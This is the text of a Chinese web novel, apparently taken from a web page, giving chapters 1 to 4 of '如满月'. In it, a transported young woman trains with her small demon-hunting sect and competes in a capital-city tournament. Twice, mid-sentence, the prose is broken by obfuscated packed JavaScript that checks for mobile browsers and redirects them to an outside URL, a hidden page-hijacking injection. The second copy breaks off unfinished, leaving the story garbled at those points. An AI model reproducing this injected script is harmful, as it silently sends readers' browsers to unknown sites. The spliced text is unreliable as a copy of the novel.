《如满月》 1. 京城捉妖师大赛(一) 夜色已经很深了,一轮弯弯的明月挂在天空中,为这片森林增添了些许亮光,四周静悄悄的,除了风吹过树叶的沙沙声,连虫鸣都销声匿迹。 一只猫头鹰站在树杈上,又圆又亮的眼睛睁开,死死地注视着地面。 一个女子正独自一个人缓步走在这片森林中,穿梭在一棵棵大树下。对于这诡异的气氛,她仿佛已经习以为常。 她的面容秀丽,最让人难忘的是那暗含秋波的眼眸,微微上挑的眼尾为这双眼眸增添了些许俏皮。 片刻后,她突然在一片空地停住了脚步,不远处,一只只绿色的眼睛从灌木丛中亮起,草木被拨开的悉悉簌簌声音传来,她这才看清,眼前竟是一匹匹狼,只是不同于常理中普通的狼,这群狼中的每一只的身影都若隐若现,似是带着黑色的火光。 “我的妈呀!什么鬼东西,救命啊啊啊啊!”下一刻,一声凄惨的尖叫传来,方才还镇定自若的女子瞬间面露惊恐,身体僵硬不能动弹。 突如其来的噪音攻击让这群狼妖的身子一顿,凶狠的脸上露出了人性化的疑惑,不过仍然步履不停地走近女子。 大量的记忆涌入姜望舒的脑海中,她这是魂穿到哪位捉妖师的身上了? 这是一个妖怪横行的世界,人们的生活越来越艰难,一部分能人异士修炼出了捉妖的能力,可以使用符纸、法器和自己的内力与妖怪进行抗衡,这才使人类和妖怪之间保持住了微妙的平衡。 随着捉妖师的增多,产生了各种捉妖师聚集的门派,其中,青天派的威望当居各门派之首。 一千年前,四大妖王出世,妖怪的势力达到了顶峰,人类的生活苦不堪言。 在当时,刚出生的孩童时常被妖怪掳走生吃,遍地都是儿童的残骸,触目惊心,女子终日以薄纱蒙面,大门不出,常常惶恐担心被哪个老妖看到而带走,年轻力壮的男子每次外出干活,都抱着可能是最后一次归家的心情...... 这种黑暗的时刻,人人都担心下一个死的是自己,对妖怪的恨意达到了极点,同时每个人的内心都期待着有一位天降的救世主,可以将这些可恨的妖物都杀光。 也就是在这时,青天派的诞生犹如一道利剑,硬生生地在黑云笼罩的迷雾中劈开了一道裂隙,将光明倾洒给人间。 据说,青天派的创始掌门沈天是人类史上最厉害的捉妖师,他天赋异禀,有勇有谋,可谓是奇才,当时的他振臂一挥,顿时一呼百应,无数名捉妖师附庸着这位横空出世的英年才俊,一起向妖怪们展开了猛烈的对抗。 妖怪和人类的激烈战争持续了近五十年,经历了无数次大大小小的战争,直到曾经意气风发的英年才俊已经变成了一位弯着腰的耄耋老人,两大妖王皆陨落,这场人类和妖怪的对抗才算彻底结束。 这位捉妖师将自己毕生的修为和两大妖王的妖力分别封印在两个莲花灯盏中,一个由皇帝保管,另一个则交给剩下的两大妖王。 双方签订契约,以葱雾森林为界划分领地,人类和妖族不得越界伤害彼此,违者生死无论。 多年后,时过境迁,有三大宗门当局各门派之首,分别为青天派、阴月派以及永日派,除却青天派有自己的势力外,剩下两个宗门都隶属于皇室。 青天派掌门的后人沈墨尘成了一种捉妖师中最有威望的存在,受到人们的追捧,几乎是钦定的下一位掌门继承者。其次就是阴月派的苏萱实力超群,备受瞩目,她也同样是阴月派掌门的亲孙女。 而姜望舒魂穿到的这名捉妖师很巧,居然和她同名同姓,是流云派的一名捉妖师,这是一个非常小的宗门,至少她穿越前并没有听过,好在有原身的记忆在,她倒是能想起来宗门的位置。 思量间,狼妖已经离她不足十米了,是随时可以扑过来的距离,姜望舒害怕得双腿控制不住地颤抖,握紧了手中的长鞭,她明白,如果现在转身逃跑一定会立刻被扑倒。 怎么办!该怎么办!脑袋你快想办法啊!打架?可是她不会啊! 姜望舒脸色已经变得苍白了,最后依照葫芦画瓢,将手中的长鞭用力向前一甩,前方的狼妖灵巧的向旁边一躲,然后又朝她猛扑过来。 死定了。姜望舒脑海中只有这一个念头。 可是面前的狼妖突然不动了,硬生生停在了半空中,一张黄色的符纸打在了它的身上,很快,这头狼妖就化成了一缕黑烟消失不见。 随后,一张张符纸准确无误地打在了剩下的狼妖身上,它们很快都消失不见了。 姜望舒浑身脱力般地就要瘫软在地,却被一只宽大的手稳稳地扶住。 她转头望去,一张清秀的脸映入眼帘,一身鹅黄色的衣裳明媚又灿烂,看样子是个年龄不大的少年,此刻那双扑闪扑闪的大眼睛正有些担忧地看着她。 “小五,你没事吧?”清澈的声音问道。 见姜望舒并没有搭话,他更担忧了,直接伸手在她面前晃了晃手:“小五,你还记得我是你二师兄吗?不会真吓傻了吧?” 姜望舒这才回过神来,勉强露出了一个笑容,摆摆手示意她没事。 她想起来了,这是 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这她不禁有些困惑,难道是原身残留的意愿? 在回去的路上,姜望舒的心情放松了下来,有一搭没一搭地和慕宇轩聊着,心里在盘算着,既然她穿过来了,那这具身体的原主人又哪里去了呢,魂穿之前,她是一个普通小镇上的大小姐,生活过得无忧无虑。 想到之前的快乐生活,姜望舒不禁叹口气,如果没有办法穿回去,今后她可能就真的要学着去收妖了。 流云派一共只有五个弟子,两位师父都云游去了,是一个小得不能再小的门派,四个师兄师姐倒都是真心待她,生活也算过的有滋有味,只是,她真的不想要整日面对着可怕的妖怪啊喂! 这个时候,走在她身旁的慕宇轩感觉到她低落的情绪,轻轻拍了拍她的肩膀,安慰她道:“没事,师父云游去了,一时半会也回不来,宗门里现在只有师兄师姐们,不必担心这次没有成功,你早晚也会变得强大。” 有的人,你说他粗心吧,他能马虎到打个架把皇宫的大门给砸了,但心细起来却又能很快察觉到别人的情绪,说出的话语令人心头热热的。 姜望舒感觉到了二师兄的好意,刚张了张嘴想要道谢,他的下一句话便让她立刻闭上了嘴。 “唉,太弱了,这可不行,回去一定得多加历练。” 给个巴掌赏颗枣大抵就是如此,好吧,姜望舒想要再次收回刚才那个想法,就当她的心刚刚没有热过吧。 2. 京城捉妖师大赛(二) 流云派地处连云峰,地势险要,人迹罕至,距离京城也比较远。四周都是崇山峻岭,而门派的选址就位于其中的一座山顶,只有一条羊肠小道可以通往山顶。 天气恶劣的时候,譬如暴雨和大雪,这条最后的上山之路也会被掩盖住,严重的时候,需要门派里的弟子去清扫。 不得不说,虽然地理位置选的前不着村,后不着店的,但是山上的动物众多,嘴馋了可以去打一些野味来吃。当然也有猛兽存在,不过对于他们捉妖师来说,普通的猛兽基本都能打得过。 宗门内一共只有五名弟子,姜望舒排行老五,是年龄最小的小师妹。 “二师兄,咱们门派的地点也太偏僻了,说是荒山野岭也不为过吧。”姜望舒忍不住出声。 慕宇轩侧身回望,接着她的话说道:“确实,听大师兄说是为了历练我们弟子,减少弟子偷偷跑下山去玩的可能,特意选了个偏僻的地方。” “不过呢,看来两位师父的良苦用心要白费了,”慕宇轩得意地晃了晃手中的一块令牌形状的东西,“三师妹最爱收集些稀奇古怪的东西,这不,连传送令牌都被她找到了,只要我们在这里画上传送阵法,再手持令牌,无论在哪里,都能回到咱们流云派去。至于想要下山,也不用担心,坐四师弟的灵宠就成。” 姜望舒了然,伸手摸了摸自己的口袋,果然发现里面也有一块令牌,拿出来仔细看了看,发现后面还歪歪扭扭地刻有她的名字:姜望舒。 这字是原身的手笔。 慕宇轩捡起一根树枝,在地面上流畅的地画了几笔,又念了几句口诀,然后伸手拉住了姜望舒的手腕。 姜望舒只觉得天旋地转,再睁眼时,自己已经回到了流云派的大门口。 流云派还是很好认的,只有一扇看起来已经摇摇欲坠的木质大门,它的表面早已被岁月侵蚀得斑驳陆离,木质的纹理在风雨的洗礼下变得模糊不清,仿佛是被时光的笔触随意涂抹过一般。门上的漆色早已褪去,露出木质的本色。 门的上面挂有一个巨大的牌匾,龙飞凤舞地写着三个大字:“流云派”。 慕宇轩走上前,伸手一推,老旧的木门就发出吱呀吱呀的响声,好像已经不堪重负,下一刻就要倒下了。 姜望舒不禁怀疑这扇门存在的必要,应该是只是象征性地挂了一扇门在这里吧。 庭院内种有两三棵巨大的桂花树,树干粗壮而坚实,有朵朵金色小花藏在绿叶之间,星星点点,像是夜空中闪烁的繁星。 天色已晚,二人直接回到各自的住处休息,有原身的记忆,她并没有露出什么异常。 第二天一大早,姜望舒早早地就起了床,睁开眼的时候,看着熟悉又陌生的环境,她愣了愣,后来反应过来,自己已经不是姜家大小姐了,现在是流云派的小师妹。 思及此,姜望舒不禁有些想念起自己的家人了,可当她想要回忆亲人的脸庞时,却惊讶地发现自己不记得亲人的样貌,甚至很多事情都变得模糊起来,她只能记住自己穿前生活幸福美满,其他的竟然一概不知。 好在她还记得自己住过的地方叫做玄鹤镇,之后有机会寻着回去便是。 “小五,醒了没?不要赖床啦,该晨练了!”门外响起一道甜美的女声将姜望舒拉回了现实。 听声音,应当是三师姐在喊她出去。 毕竟,现在这座山顶上,只有五名弟子在,人少的可怜。 姜望舒反应过来,应声道:“三师姐,我马上就来!”她立刻起床,一番收拾过后,推开了房门。 一个样貌甜美的的女子正在门前,她的皮肤白皙如玉,细腻如脂,长发披散在肩后,青丝随着微风摆动。身上挂满了大大小小的装饰品,走起路来顶铃铃地响个不停。 三师姐名叫苏梓,性格活泼,专爱收集各处稀奇古怪的小玩意,从某些方面来看,她和二师兄的性格很像,都喜欢四处游玩。 苏梓的年龄与姜望舒相仿,二十岁,因为入门比四师兄早,尽管岁数比四师兄小,仍然排行老三,所以,每次四师兄都不喊她师姐,只是一味地“苏梓苏梓”叫着。 面前笑眼盈盈的苏梓自然地拉起了姜望舒的手,一蹦一跳地将她引到宗门的一片空地前,慕宇轩已经换了一身黄色的劲装,抱臂等在那里了。 在慕宇轩身边还站着一个男子,身型高大,面容有些冷峻,有棱有角的脸俊美异常,鼻梁高挺,浑身散发着生人勿近的气息。 这应该就是清冷的四师兄云舒了。 云销雨霁,彩彻区明,原本描写的是雨后初晴的自然美景,也象征着心境的豁然开朗和对美好未来的期待,的确是个好名字。 姜望舒被苏梓拉着来到两位师兄面前,乖巧地叫了一声:“二师兄,四师兄早。” 四师兄轻轻地“嗯”了一声,之后就没了其他动作,显然是不愿意再多说话。 反观二师兄,一见到姜望舒和苏梓,就咧嘴笑了笑,“下个月就是一年一度的捉妖大赛了,今年咱们门派也是要参加的,大师兄游历去了还没回来,不过捉妖大赛之前他约莫也该回来了。” 苏梓有些兴奋地问:“捉妖大赛是在哪举行?咱们门派可从来没参加过,看来又有的热闹了!” 也不怪苏梓高兴,流云派就是一个小捉妖门派,之前从未参加过什么大型的比赛,这还是记忆中第一次,他们要去参加正式的比赛。 慕宇轩显然看起来也很高兴,活动了一下手腕,继续道:“每年的大赛都是在京城举行,每个门派需要五到八个人报名参赛,我们门派刚刚好是五名弟子。之前两位师父不允许我们去参加这种比赛,但是现在他们都去游历了,我们就可以偷着跑去玩了。” 这个世界连个地图都没有,她也不能贸然开口让师兄师姐知道自己早就换了芯子,否则说不定会被当成妖怪抓起来,去京城的话也好,那里消息四通八达,可以及早打探到玄鹤镇到底在哪, “大师兄同意这件事了吗?”姜望舒问出了一个关键问题。 云舒冰块一样的脸色有些松动,赞许地看了姜望舒一眼,声音中都带着一丝温柔说道:“大师兄已经同意了。” 听到云舒的回答,姜望舒和云舒神秘地对视一笑。 慕宇轩和苏梓有些不明所以,不明白两个人葫芦里卖的什么药。 还是苏梓先忍不住问道:“小师弟,小五,你们俩在笑什么呢?” 姜望舒见慕宇轩和苏梓是真的不明白,笑得像一只得逞的小狐狸,低声道:“既然大师兄都同意了,那师父回来要是怪罪下来,自然有师兄在前面顶着,我们大可以放心去闯祸……去比赛。” 苏梓听到后一脸恍然大悟,大力地拍了拍姜望舒的肩膀:“小五说的对,这样我们就可以放心大胆地去闯祸……去比赛了!” 而慕宇轩脸色变了变后长舒一口,十分庆幸自己当年被师父晚捡回来一个月,不然现在被师弟师妹坑的人就是他了,真是万幸。 此时,距离连云峰十万八千里的地方,一名温润的男子正站在船头,突然感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143780|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉背后一阵阴风袭来,多年来的捉妖修炼已经让他的体质得到大幅度增强,已经好久没有感觉到后背发凉了。 他转身走回船舱,拿出了一件外套披在了肩上。 也不知道小五的首次试炼如何了,二师弟冒冒失失的,应该不会出什么岔子吧。 流云派内,四名弟子正在绕着门派的围墙跑步,这就是所谓的晨练,是师父定下来的传统。 从他们入门起,除非极特殊情况,否则每天清晨都要跑够十圈。毕竟想要捉妖,最基础的体能是必不可少的,晨练结束后,就可以各干各的事情了。 因为目前姜望舒的实力是五个人里最弱的,所以大家决定还是由二师兄带着她修炼。 捉妖大赛一共分为基础赛、一对一个人赛和野外实战。 基础赛,主要考察一些捉妖的基本理论知识以及画符能力。基础赛合格后的成员,才能进行捉妖师一对一比赛,每胜一场,所在门派积一分,平局不得分,最后得分排行前五的队伍能够顺利晋级,进行野外实战。 所谓野外实战,也就是把参赛者投放到葱雾森林外围,以收服妖怪的数量和质量为最后的评分标准。 今年冠军的奖品是一件新法器,由青天派的几位掌门人亲自锻造。 流云派刚好达到报名最低人数的队伍,这也就意味着在基础赛中,他们不能有一个人掉队,不然就没办法进行一对一个人赛。 姜望舒跟着慕宇轩学习了大半个月,令他感到意外的是,姜望舒的学习能力特别强,基本理论知识基本是过目不忘,甚至还会举一反三,提出不一样的捉妖方法。 画符是一件极考验精神力的事情,需要高度的专注力和强大的记忆力,配合手上的动作,还要有稳定的内力输出,可这些都被姜望舒轻松做到了。 封印符、停滞符、火符、水符、雷符……不仅如此,她甚至能做到面不改色地画上一整天,还是慕宇轩担心她的身体状况,所以制止了她。 至于之后的实战,慕宇轩又陪姜望舒出去捉了几回妖,除了最初那晚的狼妖让姜望舒大惊失色,之后每一次的收妖过程都进展得异常顺利。 慕宇轩觉得这才是小师妹本来的实力,那天晚上只是个意外,应该是被吓到了,她本就是个捉妖天赋极高的天才。 姜望舒也感觉很吃惊,自己原来还是个天才?后来几次,她只是根据肌肉记忆,就轻松躲过妖怪的攻击,甚至拍符一拍一个准,妖怪直接就灰飞烟灭了,让她有一种错觉:自己其实是被宅院关住的女侠。 不过最后她还是谦虚地将其归功于是原主本身的天赋。 一个月后,“学有所成”的姜望舒腰板挺得很直,站在众师兄师姐中间,一起等着大师兄回来,在这段时间,她曾经旁敲侧击地问过他们是否知道玄鹤镇,可每一个人都是一脸困惑地摇头。 日头刚刚升到半空中的时候,一道修长身影瞬间出现在门外,大师兄顾璟走了进来,他一身白衣胜雪,容颜俊朗,如同美玉般温润。 顾璟走到两个师妹面前,温和地摸了摸她们的脑袋,然后给了二师弟和四师弟一人一个关爱的拳头,以表示想念。 自此,五个人终于集合了。 四师兄的灵宠是一只巨大的蝴蝶,在这个世界,是没有收服灵宠这一概念的,这只蝴蝶本质上是一只蝴蝶妖,只因在它开智时,云舒无意间庇护过它一段时间,于是就一直跟着云舒了。 现在蝴蝶妖还不会化形,思想也有些简单,智力和七八岁的孩童一般。 3. 京城捉妖师大赛(三) 众人乘坐着蝴蝶一同来到京城,在城墙外就落到了地面上,让蝴蝶先行离开。毕竟,它到底还是一只蝴蝶妖,在满是捉妖师的地盘,轻则引起骚乱,重则可能会有生命危险。 此刻,京城内部的街道上已经聚集了很多人,不同的队伍所着服装也不同,但都比较统一,只有个别的小门派穿着比较随意。 姜望舒先是和师兄师姐去报名处,出示了宗门的令牌,登记了一下姓名,然后交了钱,这就算是报名成功了。他们又找了歇脚的地方,各自准备着自己的事情。 基础比赛对于流云派的几个弟子来说并不算难,所以傍晚的时候,姜望舒和苏梓就离开了酒馆房间,想要出去走一走。 这还是姜望舒穿越以来第一次逛京城。由于正是举行捉妖大赛期间,街上人来人往的,小贩叫卖声不绝于耳,稀奇的小玩意也多,苏梓拉着姜望舒的手,一会看看这个,一会又看看那个,笑的合不拢嘴。 姜望舒也是在一个个摊位面前走过,东看看西看看,突然,她猛地一抬头,凑到苏梓耳边悄悄问:“三师姐,咱们带钱了吗?” 苏梓嘿嘿一笑,从口袋中掏出一个鼓鼓的钱袋子,下午的时候大师兄偷偷来给的,让我们女孩子自己买些喜欢的东西。 姜望舒从苏梓手中接过钱袋子,用手掂了掂,还挺沉。 俩人走走停停,吃吃喝喝,姜望舒买了不少好吃的,苏梓则是买了很多稀奇古怪的小玩意,说是要拿回去做实验。 姜望舒正在一个煎饼果子摊前等着食物做好,一转头就发现苏梓跑没影了,她有些无奈,这个三师姐,是真的超级活泼。 “老板,我想问问,您听说过玄鹤镇吗?” 老板正用刮板在面糊上轻轻地刮着,让煎饼能够更加薄而均匀,铁板被烧的通红,发出“滋滋”的响声,以至于他一时没有听清姜望舒在问什么。 “什么悬壶?” “是玄鹤镇!玄!鹤!”姜望舒提高音量,身子微微弯向他的方向。 “哦哦,没听过呀姑娘,来,你的煎饼!下一位!” 香喷喷的煎饼被老板递过来,姜望舒看了看身后排着的长队,默默走开站到一旁。 直到等到她的东西已经买的差不多了,准备回去酒馆了,苏梓还是没有回来,姜望舒有些着急了,她开始四处张望。京城的街道很多,她不知道苏梓跑到哪条街去了,所以只能认命地一条一条去找。 终于,在一阵骚乱中发现了苏梓的身影,她正站在人群中间,掐着腰和人吵着什么。令姜望舒惊讶的是,在苏梓身旁还站着一个男子,穿着青天派独有的蓝白色的捉妖道袍,面容深邃,眉宇间透露着稳重与贵气,的确是很俊俏的人。 这气质,按照话本上来讲,那妥妥是男主候选人,她还在感慨就算是传说中青天派的继承人沈墨尘和他的气度应当也是不相上下的。 苏梓此时越说越激动,脸色都变红了,商贩也不甘示弱地上前。 姜望舒心里咯噔一下,立刻想要挤上前,“不好意思,让一让,诶,让一让!”。她一边费力地推开人群,一边喊着:“三师姐!”余光中看到商贩上前的时候,那个男子似乎有意往前挡住苏梓。 苏梓听到声音,眼中闪过欣喜,一下子把姜望舒拉到了自己旁边,说着:“小五你去哪里了,我到处都找不到你。” 姜望舒也回拉着三师姐的衣袖,乖巧回应道:“三师姐,我刚刚也到处找你呢。”语毕,她看了那个商贩一眼,发现他脚边正放着几个小笼子,里面关着几只小狐狸,身为捉妖师,她立刻就感觉到,这几只小狐狸已经修炼成妖了,只是修为很低。 “三师姐,发生什么事情了?”姜望舒疑惑问道。 苏梓气愤地指着那几只小狐狸道:“我刚刚在这逛着呢,看到这里居然有卖小妖的。可是这妖怪早就开了灵智,哪里能被普通人圈养?不把买家吃了都算这群狐妖善良。我就好心来提醒他,顺便把他手中那个狐狸吊坠买下来,那是凝聚了这几只小狐妖妖力的宝贝,正是我新研制的小法器所需要的。” 言毕,她话锋一转,控诉道:“可这人,他一开始满口答应,钱都收了,说要稍等一下,他要去身后推车中找一找,我不过是去给二师兄买了袋糖炒栗子的功夫,他就变卦了!” “我说这位顾客,我都和你说了,刚刚已经有人把这几只狐妖定下来了。你就不要再胡搅蛮缠了,我把钱还你还不成?”商贩不耐烦道。 他们的动静不小,这会街上的人也多,越来越多的人走近了来凑个热闹,有热心的百姓喊了一声:“我刚刚看到了,这老板确实是先答应了这个小姑娘的。” 苏梓更生气了,怒道:“这凡事都要讲究个先来后到吧!我钱都交了,你又说不卖了?” 姜望舒也被商贩无耻的态度惊到了,帮腔道:“老板,做生意不能不讲诚信吧,这吊坠明明是我三师姐先买下的,这几只是妖怪也是我三师姐提醒的你,难道是有人出价更高?” “没错,就是有人出更高价买了这几只小崽子,至于是谁截胡的,只怕我说出来了,你们几个人都惹不起,还是赶紧散了吧。这吊坠也被他们一并买下了。”商贩挥手就要赶人。 这时,苏梓身旁一直默不作声的男子突然开口道:“他们出价了多少,这狐妖我要了。” 几人都转头看向他,不明白他是何意。 商贩打量了一下他的装扮,有些迟疑:“公子是青天派的弟子?” “正是,在下是沈墨尘。”沈墨尘轻轻颌首,“能透露一下是何人想要买下这些狐妖吗?他们出的钱,我可以加倍出。” 谁人不知青天派的首席弟子沈墨尘,他可是公认的下一任青天派掌门人,年纪轻轻捉妖实力了得。 一听是沈墨尘,商贩瞬间变脸,原本因暴怒而向下的嘴角立刻扬起,整张脸因为不协调显得有些滑稽可笑,他笑呵呵道:“是沈公子啊,没问题,只是这到底是何人要买,小人实在不能说,不然我这脑袋呦,可就保不住了。” 商贩说了个价钱后,沈墨尘倒也没有继续为难他,只是很干脆地付了钱。 商贩迅速收了钱,然后将笼子和吊坠递给了沈墨尘,开始利落地收拾东西,嘴里还嘟囔着:“我可得赶紧跑路了。” 沈墨尘将狐狸吊坠递给了苏梓,然后转身就要离开。 “诶,等等,我给你钱吧!”苏梓反应过来,就要从钱袋子里掏银两。 沈墨尘淡淡地瞥了苏梓一眼,声音中带着不易察觉的温柔:“不必。”然后快步离开,苏梓甚至都来不及道谢。 姜·吃瓜脸·舒:嘿!好像有情况,还挺好磕的。 就在他们回客栈的路上,一家装饰华丽的店铺吸引了姜望舒和苏梓的注意。 姜望舒刚迈开脚步,想要进去一看究竟,就被苏梓拉住了手臂。 “小五,不要去,那是阴月派控制下的膳食店,里面皆是由妖怪身上的部位制作而成,具有强筋健骨之效,有的能促进捉妖师的修炼,只是膳食的制作过程很残忍,你不会想要知道的。” 苏梓秀眉微皱,发现姜望舒还在朝内张望,又补充了一句:“而且咱们门派是严令禁止使用这些东西的。” 其实姜望舒只是愣住了,这再一次刷新了她想象中人类与妖怪之间的关系,竟然如此残酷。 当第一缕晨光破晓,整座京城上空便响起了悠扬的乐 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姜望舒稍加思索,还是决定不画那么多符纸了,藏拙一下,就和二师兄画的一样多好了。 结果出来了,一切都进展顺利,几人皆在规定时间内完成了考核。 接下来就是抽选比赛的对手,每个人都有三场比赛,对手是提前随机抽取的,大家都不希望抽到三大门派内的弟子,毕竟这基本就意味着失去一分,最后累计得分前五的队伍可以进行第三场的野外实战。 就在姜望舒跟在云舒师兄身后准备上台的时候,一股强烈的视线落在了自己的身上,她心有所感地抬头,被看台上的一个男人所吸引。 那人长着一张方方正正的国字脸,脸上带着一抹有些玩世不恭的笑。她莫名感觉有些违和,也有一些熟悉,所以视线在他的身上多停留了一会,没想到那人直接迎着她的注视,继续看过来,打量着她,眼神沉沉的,吓得她赶紧看向别处。 内心却在嘀咕:什么毛病,这么盯着她,招他惹他了? 姜望舒也跟着上前抽了三次签。结果分别是:红水派的黄天、阴月派的苏常以及护盾派的丽丽。 回到酒馆,几人互相分享了一下自己抽到的对手,发现姜望舒居然抽中了阴月派的关门弟子之一——苏常。 慕宇轩说道:“小五,你这运气也是没谁了,那么多门派和选手,偏偏抽中了他,这可是个浑身都是冲劲儿的家伙。” 说他有冲劲儿,当然就是字面的意思,劲头十足,不知疲倦,苏常是苏萱的亲弟弟,姐弟俩的实力都很强,但是苏常人很老实,不太会用什么手段,有的时候显得很呆! “没事的,小五,我相信你的实力。”慕宇轩对着姜望舒坚定地点了点头,毕竟他是最直观感受过她实力的人。 什么苏常?拜托,她小师妹很强的! 顾璟眉头微微皱着,开口道:“阴月派最善用毒,出招变幻莫测,恐怕只有三师妹研究的小玩意能够对付。小师妹,如果第二场打不过的话,可以弃掉一分,留存实力进行第三场一对一比赛,千万不要硬撑。最重要的是,不要伤到自己。” 苏梓正慌里慌张地从口袋里找东西,拿出了一个个小盒子,不断往姜望舒里塞:“小五,这个是解毒丹,但只能解二十余种的毒,我也不清楚他们阴月派有没有研制出新的毒。还有这个,这个是一只会跳的蚂蚱,只要往里面注入内力,就可以让它动起来五分钟,内力消耗很小,多放几个可以作为干扰。还有这个是……” 云舒话少,一直默默的没有说话,待到大家都说完了,他偷偷给姜望舒塞了一颗晶状物,只说了一句话:“蝴蝶的结晶,必要时可保命。” 4. 京城捉妖师大赛(四) 姜望舒心中瞬间被温暖填满,她感动地一一应下,师兄师姐们待她如此好,让姜望舒也燃起了一些胜负欲,毕竟这一个月来她的修炼之路一直很顺。 一对一比赛要进行很多天,姜望舒的场次在后面几天,她的师兄师姐们倒是轮到了前几场,所以这几日来,除了去给他们加油,其余的时间她都老老实实地待在房间里。 姜望舒在研究画符咒。 好在她天赋还算高,在这一个月期间研究符纸得心应手,于是想制作出具有新功效的符纸。 寻常的符纸大家基本都了解,可是如果是从未出现过的符纸,那么很有可能产生出其不意的效果。 姜望舒的大脑飞速运转,手下也不停,鲜红的颜色不断在符纸上涂画着,地上已经堆了一团团废纸,桌子旁边还堆放着笔墨、砚台、甚至还有狗血…… 期间,因为担忧,四位同门弟子都先后敲开过姜望舒的房门,看到姜望舒双眼放光地盯着手里的东西,都默默离开了。 毕竟,小师妹的房间真的是无处下脚,满地都是乱七八糟的东西,那横亘在小师妹和房间门口的距离,就是师兄师姐们难以跨越的鸿沟。 慕宇轩来的时候,看到姜望舒的状态,还有些担忧她是不是走火入魔了,试探性地喊了一声:“小五?” 结果是收到了姜望舒两记刀眼,幽幽地转头盯着他:“怎么了,二师兄?” “没……没事……小五你继续。” 好的,不叫了,已经老实了。 最难受的是苏梓,她真的很想找小师妹一起出去玩,但是她明白小师妹要对战苏常,很有压力,所以一直忍着没有去打扰她,只能自己随便去街上逛一逛,捣鼓一些小发明。 比赛的前一天夜里,酒馆里突然发出了一声巨响,整栋楼都震得抖了抖,吓得其余人皆从床上一跃而起,有的人打开了房门站了一会,发现没了动静,就又回到了房间里。 流云派的几人正忧心忡忡地站在姜望舒的房间门口,毕竟里面还冒着白烟呢! “师兄师姐,我没事,你们回去吧!” “真的没问题吗?小五,我们进去看一眼吧!” “真的没事!我这里太乱了,还是不要进来了!且看我明天的比赛吧!哈哈哈哈哈!” 听到小师妹走火入魔般的诡异笑声,几人感慨果然还是他们认识的那个小师妹,终于还是无奈地回到了自己的房间。 次日,清晨的阳光像一只温柔的手,轻轻地拂过房间的每个角落,到处洒下金色粉末。 姜望舒等人已经早早地赶到比赛的场地。一路上,慕宇轩和苏梓要么直接询问,要么间接打探,想知道小师妹想出了什么新奇的招式。就连有些高冷的云舒也时不时望向她,清冷的桃花眼好像能看透她的内心。 “好了,别问了,你们等下不就能看到了,小心策略被别人听到。”顾璟及时开口解围,像赶苍蝇一般对围绕在姜望舒身边的师兄妹们挥挥手。 姜望舒感激地冲顾璟点了点头,但是大师兄,要不你先把脸上探究的表情收一收呢? 红水派的捉妖师并不像它的宗派名字那样柔和,反倒十分侧重于体能训练,防御力以及攻击力很强。 尽管内心早就有所准备,但是站在比赛场上的时候,姜望舒还是愣了愣。 她见过的捉妖师大多体型纤细,再不济,也只是微微发福,毕竟,如果太过于肥胖的身体,会不便于捉妖。试想,一个二百多斤的大胖墩儿追着妖怪到处跑,嘶,不敢想象。 如果这个大胖墩滚动得快的话,那倒也行。 可是黄天就是这样一个捉妖师,当他走上擂台的时候,姜望舒是真的有些发懵,因为他就是一个巨大的肉球。 “流云派,姜望舒,请多指教。” “红水派,黄天,请多指教。” 礼貌互报来历后,姜望舒迅速和黄天拉开了距离,围绕着场地跑了起来,不断甩出了几张爆破符和烟雾符,乒乒乓乓的爆炸声在诺大的场地中响起,烟雾渐渐弥漫开来,使她的身影变得模糊起来。 可是反观黄天,他甚至没有挪动脚步,任由爆破符砸向他,最多伸手抵挡一下炸到他脸上的符纸,这种程度的攻击根本伤不了皮糙肉厚的他。他的一身脂肪,便是最好的防护。 黄天咧嘴一笑,道:“小妹妹,我劝你要不还是先认输吧,我可不想欺负小孩,传出去也不好听。” “呵,管好你自己就行。”姜望舒回应道。 你小孩,你全家都小孩。 看台下流云派的几人有些着急了,这黄天根本就打不动啊,连爆破符都能徒手接,寻常的武器估计也对他造不成什么伤害。 “别急,你们看小五并不是在胡乱奔跑,她好像在画阵法。”云舒冷静地提醒众人。 “好像是束缚法阵,她想困住黄天?” 片刻后,姜望舒停下了脚步,阵法已经成了,她口中快速念了几句生效咒。黄天的四周很快就升起了透明的屏障,这种束缚法阵只能进不能出。 黄天不以为意,雕虫小技罢了,他的这身脂肪,即便是用火烧,用刀砍,都没用的。 他心中想的是:即便困住我了,也攻不破我的防御,这个法阵还有时间限制吧。就在刚刚姜望舒已经对黄天进攻好几轮了,但都没有什么效果,这对她的体力消耗极大。 姜望舒有些气喘吁吁的站立在原地。 黄天以为姜望舒想要放弃了。 但是没想到她却突然冲着黄天笑了起来,笑容放肆,眼神明媚,那双眸子,如同秋日里最温柔的晨曦,柔和而不失锐利。 果然是预料之中的炸不动呢。 突然,姜望舒蹲了下去,从口袋中拿出了一个小袋子。台下的苏梓眼睛立刻亮了起来,那是她给小师妹的。 袋口被打开,一群蚂蚁快速地爬了出来,跑进束缚阵法中,不断地攀上黄天的身体,进行啃咬。 黄天顿时感觉身上的皮肤很痒,可是他的身体不算灵活,蚂蚁的数量非常多,只能很费力地抓住一只又一只,然后碾死。 不适的感觉让他有些愤怒,拿起手中的锤子就向阵法边界砸去,攻击力很强,结界瞬间出现了龟裂的痕迹。 眼见阵法快要撑不住了,姜望舒脚步又动了起来,她游走在结界外围边缘,不断加固束缚阵法,两人的动作都不停,她居然还能分神向结界上空扔了几张符纸。 一阵黄色粉末洒下,碰到粉末的黄天突然发出了痛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 